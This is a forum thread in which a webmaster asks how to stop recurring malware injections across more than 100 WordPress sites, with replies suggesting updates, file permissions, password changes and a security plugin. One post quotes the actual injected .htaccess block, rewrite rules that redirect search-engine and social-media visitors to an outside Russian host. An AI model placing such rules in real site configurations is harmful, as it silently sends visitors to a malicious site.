How to get rid of malware injections ?

cyrsss

Regular Member
Joined
Jul 10, 2010
Messages
398
Reaction score
64
We have more then 100 wordpress websites host on hostmonster but problem is iframe injection.Everytime I remove injection it will come again directly hit .htaccess file.Please any body have idea how i protect my websites through that shit ???



Sorry Moderator if it is not proper category for this thread!!!!
 
Upgrade wordpress to lastest version if not already done.
 
have you set a secure permission for the directories? 755 for directory, 644 for files, 600 wp-config.php.
 
Upgrade wordpress to lastest version if not already done.
Already done but no luck
have you set a secure permission for the directories? 755 for directory, 644 for files, 600 wp-config.php.
All above permission settings are same in hosting

More this malware made me stuck
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://pinvau.ru/acu?11 [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://pinvau.ru/acu?11 [R=301,L]
</IfModule>
 
Last edited:
probably it is a wordpress exploit.. can anyone tell us what exploit is?
 
just update your WordPress then everything will be fine...
 
that's really a big works to do.. that's why my hosting provider always told me to update ..
 
Change your password for ftp access to your server.
Russians like to play with filezila if its your ftp solution.
 
Yeah i already updated to latest version but this malware is some what of different nature it directly hit httaccess files of 100+ websites so Whenever I update website this malware come again :( .In a mean time i manually move to another hosting 1 by 1 its crap work. Any body Please Confirm me Is hostgator is secure from these iframe malware attack ?
 
I don't think so... I had the same problems times ago, and I used hostgator..
 
Try also the BulletProof Security plugin, it protects your .htaccess file from exploits and generally from changes.
 
Make the .htacces file without writing permission (440 i think) directly from cpanel and make sure it's clean. Also do that for your main index.php and the index.php inside your template. They don't need to be written and make sure they are clean. You shouldn't have problems after this.

And yes, don't install nulled templates and plugins because almost all of them are infected.

Cheers,
John
 
Know this is old, but, Been going through this myself for 1 month. After I completely delete the domain and install everything from fantastico and use default theme. Bam, My header.php gets eval code and my .htc access gets changed. over and over. So frustrating. It actually changes header.php for EACH theme I have installed.
 
Last edited:
Back
Top